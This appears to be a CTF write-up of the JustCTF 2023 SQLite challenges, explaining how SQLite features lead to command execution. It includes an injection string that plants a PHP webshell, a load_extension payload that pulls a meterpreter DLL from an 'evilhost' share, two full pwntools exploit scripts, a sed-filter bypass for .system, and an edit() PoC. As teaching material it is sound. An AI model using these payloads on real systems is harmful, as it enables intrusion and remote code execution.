JustCTF 2023 had a cluster of SQLite-focused challenges—notabug, notabug2, and Windytooth—and the first two were a useful reminder that SQLite's attack surface extends well past ordinary SQL injection. The familiar file-write and extension-loading routes still matter, but the more interesting part was how existing shared libraries and shell helpers can turn a query interface into command execution.
Two well-known routes
One classic route is ATTACH DATABASE. If the query result can be influenced, an attacker can attach a database file at a web-accessible path, create a table, insert a PHP payload, and leave a webshell behind:
?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']); ?>';--
Another established route is SELECT load_extension(). It requires extension loading to be enabled and some way to make a shared library reachable—an uploaded file, for example:
?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
notabug used this path. The exploit created an images table, inserted the hex-encoded extension as a BLOB, wrote it to ./exp.so with writefile(), and then loaded it:
from pwn import *
context.log_level='debug'
context.arch='amd64'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
# p=process('./pwn')
import binascii
p = remote("0.0.0.0",13337)
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
sla(b"> ",b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);")
with open("./exp.so",'rb') as f:
dt = f.read()
sla(b"> ",b"INSERT INTO images(name,type,img)")
dt = binascii.hexlify(dt)
# warning(chr(dt[1]))
print(dt.decode())
# input()
sla(b"> ",f"VALUES('icon','jpeg',cast(x'{dt.decode()}' as text));")
sla(b"> ",b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';")
# print(hex(int(p.readline())))
sla(b"> ",b"select Load_extension('./exp','exp');")
p.interactive()
When upload is not possible
The harder case begins when there is no writable place to drop an extension. load_extension still accepts the path to an existing shared library and the name of an exported function, so libc itself can become the extension module. A call such as select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts'); invokes puts().
In notabug2, this was enough to leak a pointer and derive the PIE base. gets() then provided a way to write into a predictable heap area. The exploit brute-forced the heap address and arranged for system() to run the desired command:
from pwn import *
# p = process("./sqlite3")
#context.log_level='debug'
#p = remote("0.0.0.0",13339)
p = remote('notabug2.nc.jctf.pro', 1337)
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');")
ru(": \n")
lic = u64(p.recvn(6).ljust(8,b'\x00'))
warning(hex(lic))
pie_base = lic - 0x1589a0
heap = 0x00005555556b0000-0x0000555555554000+pie_base # 1/0x2000
# system_plt = (pie_base+0x2228C)
system_plt = pie_base + 0x10910
if pie_base > 0x600000000000:
p.close()
warning(hex(pie_base))
#lic+0x28b8
sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');")
p.sendline(p64(heap+0x11eb0)+b'a'*0x8+p64(pie_base+0x000000000009e0ad))
# raw_input()
dt = b"/bin/sh\0"+flat([0]*8)+ flat([0]*8)+ p64(system_plt)
sla(b"lite> ",f"select cast(x'{dt.hex()}' as text), ".encode()+b"Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');")
p.sendline(b"echo n132")
# p.interactive()
data = p.read(timeout=1)
if b'n132' in data:
p.sendline("/jailed/readflag")
input()
p.interactive()
else:
p.close()
Shell dot commands and a filter bypass
SQLite's command-line shell also ships with dot commands. .system is especially direct: it runs its arguments through a system shell.
.system CMD ARGS… Run CMD ARGS… in a system shell
In the JustCTF environment, a wrapper tried to strip dot commands. It ran input through sed before passing it to /jailed/sqlite3:
#!/bin/bash
sed -ue '/^\./ { /^\.open/!d; }' | /jailed/sqlite3 -interactive#
The pattern /^\./ matches lines starting with a dot, and /^\.open/!d deletes any such line unless it starts with .open. On its own, that should block .system. Combining .system with select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar'); caused the filter to miss it, apparently because of multiline matching. The result was direct command execution:
select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar');
.system /jailed/readflag
Runtime error: error during initialization: justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}
edit() as another command runner
SQLite also has an edit() function. It takes a value and an editor command. The implementation registers editFunc and eventually builds a command string and calls system():
sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0, editFunc, 0, 0);
zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile);
if( zCmd==0 ){
sqlite3_result_error_nomem(context);
goto edit_func_end;
}
rc = system(zCmd);
sqlite3_free(zCmd);
That makes edit() another way to run arbitrary commands when the second argument is attacker-controlled. A PoC shown in the event's Discord used it to execute /jailed/readflag:
sqlite> .open :memory:
sqlite> CREATE TABLE t(a INT, b VARCHAR(200));
sqlite> insert into t values (0, '');
sqlite> update t set b=edit('','/jailed/readflag') where a=0;
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}
The common thread is not a single bug in SQLite but the amount of functionality exposed once an application lets SQL text through. ATTACH DATABASE and load_extension are the obvious pieces; libc as an extension, shell dot commands, and edit() are the less obvious ones. A filter that only looks at dot-prefixed lines does not cover queries that can reach the same execution primitives.